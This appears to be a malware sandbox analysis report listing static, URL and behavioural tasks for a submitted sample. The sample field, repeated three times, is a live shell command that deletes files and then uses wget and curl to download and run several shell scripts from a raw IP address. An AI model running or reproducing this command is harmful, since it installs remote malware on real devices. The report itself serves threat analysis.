General
- Target http://cd /data/local/tmp/; rm -rf onie_*; cd /data/local/; wget http://103.226.250.88/viet69.sh; sh viet69.sh; curl http://103.226.250.88/viet69.sh; sh viet69.sh; wget http://103.226.250.88/heromc.sh; sh heromc.sh; curl http://103.226.250.88/heromc.sh; sh heromc.sh; wget http://103.226.250.88/tranphuonglinh.sh; sh tranphuonglinh.sh; curl http://103.226.250.88/tranphuonglinh.sh; sh tranphuonglinh.sh
- Sample260722-japvea1crf
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
http://cd /data/local/tmp/; rm -rf onie_*; cd /data/local/; wget http://103.226.250.88/viet69.sh; sh viet69.sh; curl http://103.226.250.88/viet69.sh; sh viet69.sh; wget http://103.226.250.88/heromc.sh; sh heromc.sh; curl http://103.226.250.88/heromc.sh; sh heromc.sh; wget http://103.226.250.88/tranphuonglinh.sh; sh tranphuonglinh.sh; curl http://103.226.250.88/tranphuonglinh.sh; sh tranphuonglinh.sh
Resource
ubuntu2004-amd64-20260513-en
8 signatures
900 seconds
Malware Config
Targets
-
- Target http://cd /data/local/tmp/; rm -rf onie_*; cd /data/local/; wget http://103.226.250.88/viet69.sh; sh viet69.sh; curl http://103.226.250.88/viet69.sh; sh viet69.sh; wget http://103.226.250.88/heromc.sh; sh heromc.sh; curl http://103.226.250.88/heromc.sh; sh heromc.sh; wget http://103.226.250.88/tranphuonglinh.sh; sh tranphuonglinh.sh; curl http://103.226.250.88/tranphuonglinh.sh; sh tranphuonglinh.sh
-
Checks hardware identifiers (DMI)
Checks DMI information which indicate if the system is a virtual machine.
-
Reads hardware information
Accesses system info like serial numbers, manufacturer names etc.